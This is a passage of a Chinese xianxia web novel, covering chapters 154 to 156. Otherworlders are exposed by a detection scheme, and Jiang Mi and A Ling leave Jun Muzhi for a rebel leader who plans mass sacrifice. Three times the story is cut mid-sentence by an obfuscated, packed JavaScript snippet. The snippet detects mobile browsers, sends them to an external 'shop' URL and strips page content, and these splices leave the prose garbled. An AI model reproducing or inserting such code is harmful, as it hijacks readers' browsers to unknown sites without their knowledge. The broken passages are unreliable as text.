最前方的孙柏柔身影成风,靠近的一瞬掠过站立的黑衣教习和崔大两人,瞧见结界里躺在地上的江弥,二十四根蓍草没有丝毫犹豫地攻击出去。 结界闪现浅红色波浪。 “江弥!你怎么样?” 孙柏柔焦急朝里面喊,但江弥没有回应她。 几名高阶学姐紧随而来,看到惩戒堂的教习愣了下。 她们朝教习颔首后心中诧异,几人被孙柏柔许以重赏来救人,既然有教习在此,为何还找她们。 而且教习们的态度……有些奇怪。 孙柏柔见结界纹丝不动,回头叫学姐们帮忙:“你们快来!” 一位教习看孙柏柔不管不顾要打开结界,提醒:“你可是要救那女修?她是异世者。” 此言一出,女修们停住脚步,有的望向江弥,有的望向孙柏柔,但无一不是拒绝排斥的。 有名蓝裙女修嫌晦气地吐了口唾沫,冷笑:“什么玩意儿,让我救异世者?” 孙柏柔心中焦虑,眉眼发沉:“我叫你们上来救人是给了定金的,你们想反悔?” 那蓝裙女修将钱袋子扔雪地里,冷嘲热讽:“异世者算人吗?一群猪狗不如的畜生也配让我出手?这位学妹,别说你廖家出身,就是神脉家族也没有和异世者同流合污的,你又算什么?” 孙柏柔握了握拳,神色冰冷:“我不知道你在说什么,她是我好友,不是什么异世者!” 有女声忽然惊呼一声,小声说:“看令牌!” 匆忙赶路的女修们终于看到公告,再望向结界,脸上浮现嫌恶。 几人纷纷将先前收下的钱袋子扔出去,还有个朝孙柏柔身上扔,被陡然窜起的星辰之力打飞。 雪地变成璀璨星空,星辰流转。 周三瞬影而来,站在孙柏柔身前,沉眉道:“廖家确实不如神脉家族,但你们偷袭廖家人是事实,还是你们觉得,十三世家宽容到不在意这种事?” 女修们哑口无言,有人忍不住辩解:“分明是她和异世者合流!” 周三冷眼看说话的女修,不再同她争辩。 孙柏柔也看过公告,她将令牌收起来,不管其他人言论如何,抬手间蓍草浮空,沉重巨力猛地向下方压去,飘落的雪花再次被扬起,结界却纹丝不动。 周三将她拉开时她愤怒质问:“你也要阻止我?” 她压抑着极大的恐慌,浑身都在发抖。 江弥是异世者又如何?和我有什么关系?她是江弥就好了,我管她是谁。 她很害怕,她将事情搞砸了,她带来的人,三儿带来的人,他们不会去救江弥,他们要杀江弥。 她会害死江弥! 周三按住她的肩安抚两下,示意她看结界,无声开口道:“准备好,结界要破了。” 孙柏柔极力压住惶恐,她用力掐了把掌心,让痛楚唤醒理智,二十四根蓍草折断三根,她手指在腰间拨弄,又三根浮现在半空中。 “哗!” 很细小的声音,让所有人噤声望来。 爬满结界的红色丝线洞出一个很小的口,接着便如同水幕破开般褪去。 结界破了。 “现在!” 周三话刚落,孙柏柔瞬影而上,其他人也动了,霎时仿佛众鱼争食地朝江弥冲去。 孙柏柔离得近,最快到江弥身前,她戒备着望向姬月生,对方只是唇角带笑地等着什么,并未阻止。 落后的周三扩大星图阻止其他人靠近,冲来的教习朝他怒声斥责,周三冷着脸不闻,终究是修为差距过大,阻拦不过一瞬便被甩到一边。 好在孙柏柔已经把江弥扶起。 她在廖家并没停止修行,反倒是被三姑重点培养,廖家人善占,攻击不如星宿和兵灵,所以很重防御。 二十四根蓍草呈圆形竖立在头顶,几乎是眨眼间,不到手指三分之一粗细的八角木棍瞬间变成巨大木柱,落下时地面震颤,远处山崖的雪滚滚而下,造成雪崩。 八角木柱连接天地,严丝合缝围成一方独立空间。 教习们的攻击紧随而上,木柱在接连的攻击下震动不已,但没有分开丝毫。 女修们只恨自己出手晚了,让她将异世者护起来。 姬月生在一旁抱臂观赏,并未插足。 周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566145|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三从雪中爬起来,吞下几粒药丸,朝还在发怔的崔大怒道:“愣着做什么?上啊!” 木柱围成的空间内,孙柏柔施完术便吐出一口血,她撑着木柱站起,这才有空检查江弥的情况。 江弥脸色很难看,孙柏柔压抑地咳了两声,她伸手摸到江弥冰透的身体,轻轻拍她的脸:“江弥,江弥,醒醒,现在不能睡。” 姬月生没有解除束缚,江弥不能动也不能说话,她睁开眼眨了下,这点反应让孙柏柔松了口气。 她从储物玉牌里取出药丸给江弥吞下,自己也服了两粒,缓了会儿将江弥拉起,她低声安慰:“别担心,有周三和崔大,我们肯定能顺利离开。” 孙柏柔准备背她,转身的一瞬,蓍草围成的空间崩塌,木柱碎裂成渣,和激起的风雪荡开。 孙柏柔受到反噬一头栽倒,江弥也摔了下去。 冰冷的雪花落在脸颊,江弥僵硬的四肢恢复知觉,她动了动手指,缓缓抬首。 姬月生粉碎掉孙柏柔的防御后随意拍了拍手,风扬起他的发丝,他朝江弥露出兴味的笑:“君慕之来了。” “我日你啊!你个王八蛋!” 崔大和周三守在木柱附近,看到孙柏柔吐血倒下的瞬间,崔大再也无法忍耐,怒吼着朝姬月生冲去,手中长剑用力挥出。 姬月生露出不耐神色,像被嗡嗡的蚊子打扰。 在场的修士在他看来不堪一击,但纯碎的武力碾压哪里有君慕之冷淡之外的表情有意思。 他抬手一挥,凌空劈来的长剑掉头插入雪中,那道神力并未消散,而是朝着赤红双眼的崔大而去。 姬月生很少有这么想杀人的欲望,这人三番四次挑衅他,若非不想错过君慕之的表情,哪里容他多活几刻。 神力即将袭上崔大时,忽然一闪,崔大凭空消失,取而代之的是一颗星辰。 攻击落空,击碎一棵大树。 姬月生挑眉,回头望去。 微弱的星星逐渐浮现,照亮这片雪地。 群星环绕的中央,江弥不太平稳地站起,头发凌乱,她推开周三要帮忙的手,面无表情和姬月生对视。 周三背起昏厥孙柏柔快速和她说明现状:“天诛院启动天启计划,所有异世者会出现双影,抓捕异世者能获得巨大奖励,你想办法跑,我们帮你争取时间。” 他说完去看江弥,她没有任何反应。 周三心里忽然涌出一股说不出的难过,在几刻钟前,他们还笑着约定都不许死,一起说笑烤火薯,此时,在江弥沉默的此刻,他知道一切都变了。 江弥朝左前方望了眼,被星移斗转传走的崔大又跑回来,她收回视线:“别让崔大找死。” 她的嗓子带着用力过度的哑。 周三意识她要做什么,要拒绝,江弥先一步开口:“既然身份暴露,就不陪你们继续玩生死挚友的游戏了。” “你……”周三的话还未出口,眼前一闪,他和孙柏柔同时消失在原地,连同一脚踏入星图的崔大被送到星图尽头。 期间几名教习想要对江弥出手,都被姬月生不咸不淡地挡了回去。 严藩看得额头直抽:“你到底要做什么?” 姬月生不再计较飞走的蚊子,浅眸含笑:“看戏。” 众人随着他的视线望去,一道身影极快拉近,近到跟前才发觉并非一人。 身着茶白衣裙的女子被君慕之抱在怀里,他也着一身白,远远看去像是一人。 他眼眸带着冷色,刚落地女子便从他怀里离开。 君慕之抓住她手腕皱眉问:“你怎么了?” 看到这幕的姬月生笑容僵硬,脸彻底沉下来。 154. 154 半个时辰前。 夜色无月,星辰在云层掩映下闪烁。 阿玲和君慕之并排坐在屋檐下,身旁摆着糕点茶水,她尝了颗元子糕,觉得不错,往身边推了推。 君慕之正等着阿玲继续讲她的启蒙院生活,忽见圆滚滚的雪白糕点推至身侧,他装没看到。 阿玲:“有个长得很好看的少年偷偷看我,还经常在食堂和藏书楼偶遇,他应该是喜欢我。” 君慕之侧眸等她继续说下去。 阿玲举着元子糕在他唇边,也不催,就那么看着他。 君慕之迟疑半晌,勉强咬了口,阿玲没太强迫,将剩下的吃掉,笑着说:“忽然有一天他没再出现,那时李二在我身边,我好奇问了句,他说那人图谋不轨,被他打跑了。” 君慕之问:“有很多?” 阿玲失笑:“怎么会?” 她低头选了个樱花形状的糕点咬了口,随口道:“启蒙院优秀的女孩很多,男孩们更喜欢性格温柔长相漂亮的,像孙柏柔那种,不过那时我们几个卷生卷死,孙柏柔嫌那些男孩不务正业。” 君慕之忽然拿手背贴她脸颊,阿玲抬眼。 这已经是君慕之很亲密的动作了。 他说:“你很好。” 说了还要补充一句:“比她们都好。” 阿玲接受他的夸奖:“我知道。” 对视的瞬间,嗯,怎么说呢,星空,屋檐下,孤男寡女,很自然的冲动,阿玲忽然很想接吻。 她咬住剩下的樱花糕,掌心贴在他耳后,微微用力,君慕之顺从地倾身上前,阿玲笑着亲上去。 清甜的糕点被碾碎,咽下。 长长的墨发在指尖缠绕,有一搭没一搭的。 停下来时君慕之嘴唇湿润,有点红,像是涂了浅浅的胭脂。阿玲抿走他唇边的糕点沫,看到他轻颤的眼睫,那股冲动更大了。 啊,美色误人。 阿玲后退着坐回去,顺便拿着颗元子糕慢悠悠地啃,有点食不知味。 君慕之轻笑出声,取一块樱花糕,咬了口,咽下。 阿玲觉得他是故意的,又觉得这样的君慕之很好玩,索性将整盘樱花糕推他面前:“吃完就奖励你。” 君慕之:“奖励什么?” 阿玲摇头:“说了没惊喜。” 君慕之没再问,低眉慢吞吞吃着,阿玲便说起天雪峰的木屋,江弥和孙柏柔崔大几人正在烤火吃红薯,周三为了帮蒋敏圆谎说了更可怕的慌。 这么闲闲说着,樱花糕竟也吃了大半。 阿玲的说话声忽然停下,君慕之侧眸望来,一切发生得太过突然,阿玲没来及说发生什么就和江弥一同陷入灵魂撕扯的痛楚。 开始只是压抑的呼吸声,剧痛让她控制不住哭出声,君慕之心头猛地一颤,低头轻声唤她,可阿玲什么也无法听见。 也在同时,君慕之察觉天雪峰的结界激活。 结界只有两人知道。 江弥遇到了危险。 君慕之抱着阿玲消失在原地,即将走出君氏时君氏族人和谷家黎家拦在跟前。 最前方的族老低眉颔首:“少主,你不能离开。” 君慕之不言,心中越发烦躁。 他感知到阿玲在细细颤抖,脸颊贴在他脖颈,泪水不断滚落,冰冷湿润的触感顺着皮肤滑到心底。 “让开。” 君慕之目视这群姿态仿佛同个模子复制的族人们,他们面容古板,不容挑衅,当初让他离开前往天雪峰治病的,也是这样一群人。 拦在前方的除了负责看管他的族老,还有谷家和黎家的护卫,都是十二阶修士。 带领这群护卫的是谷无妄,他看到叛逆的君慕之眉梢飞扬。 他是看着君慕之长大的,这孩子各方面都很好,品行能力性格没话说,只是在君氏这个大染缸,他过于无所欲求,看上去任人揉捏,显得好欺负。 几年前杀“不死树”倒是让所有人大吃一惊,但接着他又不声不响地接受安排离开君氏,一时说不清是叛逆还是听话。 要他说,君慕之就该搅得整个君氏不得安宁。 谷无妄看这群老东西仗着年纪和辈分不动,心道还客气什么,动手啊! 下秒就见君慕之一手抱紧怀中女子,一手高举,修长白皙的五指一抓,仿佛从夜色苍穹狠狠扯下什么。 天幕之上,爆开的火花伴随着噼里啪啦的声响,仿佛被撕开一道口子,被聚拢的清气忽的朝外泄出。 清气和浊气无法独立存在,只有在混沌和特殊的场域下才能维持,这是神脉家族维护清气的常用手段。 “天宇破了!” 一位族老仓皇大喊,其他人也纷纷面色惊慌。 清气是神脉家族修炼的基础环境,也是让世家依附的手段之一,万万不可出问题。 方才严阵以待的护卫瞬间散开,去找维修天宇的,掠至头顶阻止裂口蔓延的,乱作一团。 君慕之抱着阿玲离开。 苍老威严的声音喊道:“少主,您想清楚,经此离开,君氏将不再承认您的少主身份。” 君慕之置之不理,闪身前往东岐天雪峰。 那声音朝谷无妄气急怒道:“愣着做什么,唤出僵神拦住少主啊!” 随后是谷无妄为难的声音:“前不久和冷家家主过招伤了……” · 阿玲从剧痛中醒来时发现自己和江弥一样,身上出现重影,接着从周三口中得知天机计划。 刹那间,她的心情沉到谷底。 天涯路没有阻止天机启动,为什么? 她的设想不是这样的,她以为天涯路会竭力阻止天诛院,至少会延迟天机的研发,而不是这样突然爆发。 异世者陡然暴露在人群中,所有隐晦的、模糊的界限在此刻变得清晰,鲜明的立场将暗处的厮杀搬到明面。 她最初只是想在君慕之的庇佑下逃过异世者身份带来的危机。 如果还是混乱不清的局势,君氏少主保护的只是一个身份不明的女人,没人会对此置喙。 可当异世者能精准从人群中被摘出,异世者和修真界完全对立的此刻,君慕之对她的保护就是站队。 在所有人眼里,君慕之选择异世者,站在神脉家族和修真界的对立面。 她只是寻求庇护,没想过要将君慕之拖入深渊。 思绪几次翻涌,最终阿玲还是对君慕之轻声说:“我们分开一段时间。” 腰间的手收紧,君慕之另只手抚上她的背,重影只是视觉,并不影响触感,他的手移到她后颈,一片湿冷。 他低眉询问:“发生什么了?” 阿玲隐约看到天雪峰的影子,连忙交代:“你的识界清出了一片净土,不去人多的地方,你还能维持很久。” 不过一瞬,两人落在天雪峰上。 此时天雪峰上站着不少人,君慕之没空理会,刚落地阿玲便要离开,他捏住她手腕皱眉问:“你怎么了?” 阿玲想抽手,君慕之抓着她的手不放,沉默地等待她的回答,但这里人太多,阿玲只得隐晦道:“我是异世者。” “我知……”君慕之刚要开口被阿玲截断:“我们不是同路人。” 君慕之看着阿玲的手挣脱,神色怔然。 “你不是乐正氏的人?”姬月生打断旁若无人的两人,眉梢下压,“你骗我?” 阿玲神色变冷:“我从未说过我是。” 姬月生没太计较这个问题,他目视阿玲周身扩散的朦胧虚影,皱眉:“你也是异世者?” 阿玲朝着江弥走去,并不想理他。 姬月生气得牙痒痒,阿玲是乐正氏还是异世者都不重要,她竟然一句解释都没有,她分明说过爱他,又哄他去求姻缘,自己却跑掉。 这个骗子,就这样毫不在意地略过他。 “你不是爱我吗?”姬月生忍不住走向她:“君慕之爱的是江弥,他不爱你,你为什么要到他身边去?只有我,我不在意你是异世者还是其他什么身份。” 十多位教习和女修们觉得气氛十分怪异,面面相觑,都不敢说话。 阿玲扶起强撑着支起星图的江弥。 抬眼时江弥看到君慕之紧绷的下颌和抿直的唇线,心中叹了声。 阿玲看向姬月生,将他说过的话还给他:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575419|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我是不是爱你,世上没有谁比姬少主更清楚。” 姬月生不甘心:“为什么?” 阿玲冷笑:“你配吗?” 玩弄感情的人想拥有感情,开什么玩笑? 姬月生脸色阴沉,他低声说:“她说得没错,我竟然用这种愚蠢的方式和你讨论爱?我拥有最多的就是爱,你不过是他们中的一个,也没什么特别的。乾灵能抵挡一根两根,能抵挡所有吗?” 话落那刻,数百条红色丝线从他掌心跃出,犹如蛛丝朝着阿玲飞去。 江弥眨了眨眼,她感受有东西近到跟前,却无法看到是什么。 她的眼睛变成普通眼睛了。 江弥没动作,但阿玲反应很快,姬月生动作时拔出雪麟,长剑挥出。 和姬月生打是打不过的,但阿玲是神台九层,必然不会毫无招架之力。 然而比雪麟剑势更先一步抵达的是君慕之的防御,红色丝线撞上透明的墙壁,再也无法更进一步。 姬月生怒急:“君慕之!你一定要跟我作对?” 君慕之无视暴跳如雷的姬月生,沉默地看着对面的人。 众人只觉得这场面诡异极了,并在脑海表示疑惑,君少主看的到底是阿玲还是江弥? 话说,就没人觉得不对劲吗? 君少主抱着过来的阿玲是异世者,姬少主又对阿玲求而不得,还说君少主喜欢江弥,江弥也是异世者。 现在问题是,为什么阿玲会抛弃君少主和姬少主,跑来对江弥嘘寒问暖? 难道当初谣言说阿玲插足君少主和江弥的感情是真?因为阿玲无法接受江弥和君少主在一起? 这么说来,姬少主似乎有段时间也对江弥产生兴趣,难道也是因为这阿玲才和姬少主有牵扯,让他求而不得? 忽然就真相了呢! 纷纷脑洞大开的旁观者忽然一顿,一股无法忽略的气势压来。 今天的天雪峰是真的热闹。 这道压迫引得纠纷中心的四人也跟着看来。 一群人从雪林间走出。 为首的是个俊朗的中年男人,他身着藏蓝锦衣,气场稳重。死神披着黑袍手握黑骨镰刀,稍稍落后半步,浑身雪白的天音被人背着,和死神并列。 四人后方,三十多人神色沉凝,他们性别和年龄各不相同,周身却散发着沉重的压迫。 而无一例外,这群人身上都有双影。 他们都是异世者。 中年男人一眼就看到并肩而立的江弥和阿玲,他眉眼笑开,朝两人道:“重新认识一下,我是天涯路首领青花,本名巫马策,我来邀请你加入天涯路。” 伏在肩头的天音慢吞吞抬头,粉色瞳仁凝聚目光,他在暗淡的星辰里看到被风吹起的绿色发带,眸光微闪,下秒陷入空茫。 “这里是小术院,岂容你们如此猖狂!” 严藩的大喝提醒了其他教习,教习们二话不说对这群异世者展开攻击,但对方明显有备而来,三十多名异世者各显神通,教习们竟一时无法奈何,女修们更是无法上前,只能后退着躲避。 君慕之似乎明白即将发生什么,不再静默,他朝着江弥的方向走去。 姬月生的好事被君慕之打断,自然也不会看君慕之好过,他横跨一步烂在中央,朝后示意了下:“这有两个,你选谁?” 君慕之冷峻着脸抬手挥开,姬月生避过,闪身时他身后的山峰被齐齐削去,雪山崩塌。 君慕之发火了。 姬月生只觉心中沉郁清扫大半,大笑着再次瞬影阻拦。 不远处,阿玲看着不断靠近的君慕之。 江弥的目光穿过两方打斗的场景,同巫马策对视。 此时的他不是莫题,不是阿庙,他是巫马策,天涯路的首领青花,他在逼她做选择。 他笑着,是胜券在握的姿态。 江弥开始怀疑,她是不是不该去夏家找青花。 君慕之将姬月生打进雪山之中,快速朝她掠来,他向她伸手挽留:“不要去。” 可在即将拉住她的那刻,阿玲侧过身。 她没去看君慕之神色,和江弥一同走向巫马策。 155. 155 天机计划持续了一个月。 天机并非能持续不停地启动,需要的能量以及扩散的范围限制它每次运行只能持续一刻钟,冷却时间一天。 即便这样,也足以在太虚大陆掀起一场轩然大波。 开始是混乱,全方位的混乱。 异世者暴露得猝不及防,自上而下,世家的仆人,大术院的教习,街边做买卖的百姓,走在路边的游人…… 大多数异世者相互不知道对方身份,也不曾想过惹是生非,他们隐藏起来正常生活。 突然的暴露让他们不得不采取各种措施。 平日里和善老实的人突然露出獠牙,打斗,争端,厮杀犹如星火散落在各处。 异世者中态度不一。 有的只想度过这次身份危机找个无人的地方生活,有的期望所有异世者团结杀出一片独立的净土,也有认为他们和太虚大陆不死不休应该抗争到底。 但不可避免的,异世者在聚集,星火汇聚成明亮的火光。 有一个名为希望的二十人小队试图和天诛院谈和,却被铁血手段杀灭后,心存妄想企图走和平路线的异世者死心了。 世家和天诛院对异世者的态度异常坚定,甚至提出要彻查天一武会,清理异世者。 曾经天一武会借着没有实质证据收纳异世者,如今天机启动,任何异世者都无所遁形。 出乎意料的,皇室同意了。 天诛院出动所有玄甲,调用大小术院教习,连同严家军一同封锁所有天一武会总部分部。 然而当天机启动时,一名异世者都没找到。 也在此时,天诛院的天机计划在各个异世者小队中传播开来。 很快有人反应过来,组队攻击天诛院,将尚署地下一层炸了个底朝天。 就在众人雀跃时,当天晚上,双影如常出现在他们身上。 【据有关人士透露,天机计划最初的模型是天机和云罗的结合体,天机启动,云罗甄别,只能小范围地鉴定异世者,后经过改良,云罗的甄别功能通过天地行气扩增,遇异世者呈双影。】 【天机计划启动之初,考虑到单个天机容易被破坏,天诛院尚署只有云罗的扩增功能,真正的天机被隐藏。】 蒋敏在群聊里发出这段公告后,原本就不曾停歇的弹框直接被各类询问和猜想刷屏,她收了系统消息,转过脑袋去看站在窗台前的女孩。 江弥单手搭在窗台,另只手触碰着左眼,低眉沉思。 按理说,天机计划启动后,异世者死亡比以往更加频繁,眼睛的发病次数也更多才对,但随巫马策回来后,她的眼睛没有半点动静。 她也看不见系统面板了。 分辨清气浊气,看到系统信息,感知异世者死亡,这些能力都随着左眼的离去消失了。 好像感知被切断,外界狂风骤雨,她却一无所知。 蒋敏走到江弥身边:“天一武会的异世者散落在各处传递消息,那些在群里的还好,发布消息都能通知到,但藏得太深的就没办法顾及了,只能用这样的笨办法。” 说完叹道:“还好老大清楚群聊里的异世者身份,不少已经投敌的藏在里面浑水摸鱼,搞得大家人心惶惶。” 江弥低眉不语。 蒋敏看着她试探说:“这些人抓到了,你待在这里也是无聊,要不要去看看?” 江弥放下左眼上的手,问她:“巫马策想让我去?” 蒋敏吐了吐舌头:“被你发现了。反正老大的意思是让你去监牢,具体做什么我也不清楚。” 江弥:“他什么时候来见我?” “这个……”蒋敏没什么底气,“可能在忙?” 巫马策带她来这里后就没再出现,他在做什么,有什么计划,需要她做什么,江弥一概不知。 她不信巫马策只是好心给她提供一条生路。 就在蒋敏以为她会拒绝时,江弥点头:“你带路。” 蒋敏:“啊,哦好。” 意外的是,巫马策就在监牢门口,蒋敏看看两人,机灵地退场了。 监牢并不大,也没有江弥以为的血腥或者压抑,墙壁和地面说不上干净,但也称不上肮脏,与其说是监牢,不如说是百姓的工房。 几个狭小的房间没有任何禁术措施,但外面坐着天音,有他在,任何异世者都无法使用能力。 监牢的门是铁制,上半部分是栅栏,能看到房内。 巫马策在第一个房门前停下,他目视门后,江弥也望去。 那是个面容老实笑起来只会让人觉得憨厚的中年人。 “林辉,神台七层,在散盟会分布任务,寻找喜欢虐杀异世者的修士。他在群里多次发出求助信息,配合修士杀害异世者,死在他手上的异世者不下三十。” 巫马策说完江弥立即明白这里关的都是些什么人。 “方源,极其敏锐,擅长在人群里寻找同类,一旦被她锁定,天诛院立即会派玄甲抓人,因她被抓取三堂的异世者超过二十。” “王庆,小黑屋系统,拥有百种刑罚,世家走狗,专门负责给达官贵人表演,死在他手上的不下百,异世者未知。” “……” 巫马策逐一介绍完,停顿片刻道:“这些人恶贯满盈,那么多人死了,他们不该活着。” 江弥没发表言论。 巫马策背手扫视一扇扇铁门:“你来杀了他们。” 江弥表情终于有了变化:“你要做什么?” “你在启蒙院六年,用了一年被字灵认可,打开心界踏入修行之路,随后亲眼目睹陆怀的死,我猜这时你的识界发生了变化,比如,阿玲出现。” 巫马策说这些时语调轻扬,神色耐人寻味。 江弥面无表情看他。 巫马策继续道:“你用了六年修至三阶,进入小术院后修为突飞猛进,不仅是你,还有阿玲。” “我调查阿玲的经历时发现一个有意思的规律,阿玲在池家的几个月,修为增长飞速,而远在小术院的江弥,修为提升也异常迅猛。” 江弥手指动了动,星辰之力无法调动。 巫马策对她表现出的杀意并不意外。 “异世者的死亡会让你修为大增。”他的语气十分笃定:“更准确一点,在你面前死去,亦或者你亲手杀死的异世者,会变成你修为的一部分。” 江弥脸色彻底冷下来。 巫马策看向她的目光闪着奇异的光:“只有你是特殊的!” “你告诉我世界真相时我一直在想,为什么?为什么让异世者降临?混沌存在的意义是什么?天道怎样才能赢过神?我们如何才能消灭神脉的延续?我们最终的结局是什么?” “这所有所有所有的疑问,”他的语气透着掩饰不住的兴奋,“在发现你是特殊的那一刻,全部得到解答。” 这些分明是江弥知道的,可经由巫马策说出,却让她莫名头皮发麻。 巫马策缓缓吐出两字:“造神。” “不可能!”江弥否决:“不可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583412|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再有新神诞生!” 巫马策笑了:“你错了,新神一直在诞生,你,我,天音,监牢里的他们,所有的异世者,我们都是神,残缺的神。” 他的语气几乎带着癫狂:“你的存在就是指引,它要我们将创造一个完整的神。” 江弥哑然:“你要牺牲异世者?” 点石火光间她忽然想到什么,脊背发寒,声音干涩起来:“天机计划是你们促成的?” 巫马策没有否认:“这是必经之路。” 得到确定答复,江弥有种心惊肉跳的感觉。 未来的走向似乎正在往那场异世者的人间炼狱倾斜。 这一刻她前所未有地意识到,让青花知道世界真相是怎样的错误。 “你这是屠杀!” 面对她的控诉,巫马策说:“总要有人背负万千骂名。” 他的目光带着审视:“你去夏家时没有这个想法?” 江弥骤然失声。 他说得对,她从未想过要背负任何人的生死,别人的死和她有什么关系,她只尽力让自己活着就好,所以得知真相的第一反应是扔出去。 她自认为没有错,异世者只有知道自身的处境才能做出正确选择,她也能毫无负担地过自己的生活。 可巫马策太疯狂了。 “你无法保证你是对的。”江弥尝试说服他:“即便天道取得胜利,你能保证剩下活着的人还能回去?不会再有人降临这片大陆?” 巫马策:“我确实没法保证。但天机计划已经启动,别无选择。” 江弥张了张嘴:“毁掉天机。” 巫马策笑了下:“对立永远无法销毁天机。” “天机是玉骨发明,没有他,也有其他人。只要异世者被排挤被清杀,今天的事迟早会发生,不过是明天和明年的区别,我只是让这件事提前发生。” 江弥知道无法动摇他,不再尝试,只表明道:“我拒绝参与。” 巫马策淡笑着看她,仍旧是那副胜券在握的姿态。 一声惨叫从监牢传出。 江弥望去,站在天音身旁的人走向房门。 他手中的剑穿过铁质栅栏刺向里面的人,动作干脆利落,那人死得很快。 接着他走向下一扇门,又是一声惨叫。 其他房门意识到自己即将被杀,响起求饶声,却在一声声惨叫中消失。 巫马策观察江弥,就见她皱眉凝视,随即陷入空茫,那是进入识界的表现。 片刻后江弥从识界走出,惊疑不定:“没有用。” 巫马策:“什么没有用?” 江弥神色有些茫然:“我的修为没有变化,神台力量没有增加,星辰之力也和之前一样,异世者的死对我没有用。” 巫马策低眉注视她,反应不似作假,但江弥刚才的反应已经证实她的修为是通过异世者死亡提升上来的。 至少最关键的这点是对的。 江弥猜想还是左眼的缘故,抬眼见巫马策神色不变,皱眉道:“你说的造神方法没有用,计划注定失败,应该取消计划再想办法。” 巫马策却道:“计划照常进行。” 下秒白色身影陡现,清光微闪,雪麟剑贴着巫马策的脖子将他压在墙上。 杀异世者的男子持剑而来,被巫马策抬手阻止。 江弥看着巫马策被阿玲压制,低声道:“我会杀了你。” 巫马策神色未变:“计划一旦开始,任何人无法终止,就是我也不行。” 156. 156 “散盟会有很多人发布任务抓捕异世者,还是没有悬赏的那种,但仍旧有很多人接领,现在气氛越来越紧张,我总有种世界末日的感觉。” “天诛院人手不够,严家都不去维持混沌秩序,改成全力配合天诛院行动,今天又有不少异世者死掉。” “君氏还派出了僵神,姬氏用神术控制异世者同室操戈,连神脉家族都下场了吗?” 蒋敏盯着系统面板的消息,从里面筛选出有价值的。 几条消息飞速闪过,她往下扒拉确认了下,看向眼江弥,迟疑说:“有一条关于君慕之的……” 江弥问:“君慕之怎么了?” 蒋敏扫了几眼,总结主要信息:“君慕之和姬月生为爱大打出手,心宿小术院所有学员和教习紧急撤离,两天后打斗平息,天雪峰被夷为平地,其他建筑不是被毁就是被埋,连住的地方都没有……好惨。” 江弥:“还有呢?” 蒋敏上上下下扒拉信息:“倒是没什么伤亡,周三他们应该没事,嗯?有条消息不知真假,说君慕之从姬氏手里救了几名异世者。” 她冲江弥眨眼:“这是爱屋及乌吗?” 江弥神色有些凝重:“你看看有没有类似信息。” 蒋敏见她说得认真,也认真翻动起来。 自从上次去过监牢,江弥回来就沉默不语,之前还会和蒋敏说几句,现在直接将她当空气。 天涯路没有限制江弥的行动,她甚至可以离开这里。 蒋敏不知道老大在做什么,只猜测可能和江弥有关,考虑她和江弥关系不错,这里也就她和江弥熟点,蒋敏主动过来陪她,将外界的动向同步分享。 这会儿见她主动问君慕之的消息,蒋敏心中感叹,君慕之为她抛去偏见救异世者,江弥在失落时还不忘打听君慕之消息,简直是神仙爱情! 现在到处都是混乱,群聊里的各种消息源源不断,君慕之的消息反倒是不怎么起眼。 蒋敏花了不少时间寻找,许久后说:“是有几条,我看看,君慕之打断天诛院抓捕异世者,欧家派僵神找到异世者小队但遇到君慕之无功而返,还有……等等,为什么君慕之会跟谷家僵神打起来?他们不是一家的?” 她满脑问号地望向江弥,企图得到点提示。 江弥没有回答,她知道君慕之在做什么。 他在同神脉家族割裂,他选择异世者。 和巫马策见面已过两日,她已经不像最开始那么惊慌,只是心中排斥这种他们的做法。 她在思索是否还有其他可能。 能让异世者脱离棋盘,成为第三方下棋者。 君慕之的行为出乎了她的意料,她其实更想君慕之远离这一切,不管是异世者还是神,就像他之前做的那样,洞察却不参与。 但他还是选择下场,走进这场纷乱的棋局。 江弥:“能找到君慕之在哪里吗?” 蒋敏有些为难:“他也不会告诉别人他在哪呀。” 江弥没再说,她需要见他。 阿玲从她识界中走出,当着蒋敏的面推开门走出去。 蒋敏先是看着眨眼就不见的阿玲,然后目光呆滞地望向江弥:“阿,阿玲怎么突然出现?” 江弥:“阿玲也是我。” 说完心口一松,终于能为君慕之挽回一点名声。 蒋敏:“?” 等等!等等!! 我之前是不是说君慕之坏话让队长放弃?还鼓励阿玲让她小三上位? 蒋敏猛地尖叫了一声,然后捂着脸跑了。 江弥:“?” 正常人第一反应不该是一个人怎么可能有两个身体? · 阿玲是神台九层,只要不遇上僵神和姬月生这种,基本不会遇到危险。 君慕之和神脉家族割裂,那就不可能回君氏,天雪峰已不复存在,她想不出君慕之还会去哪里。 这种时候她才发现,她对君慕之没有那么了解。 神台九层的修为足以让她一步千里,她漫无目的地四处游走。 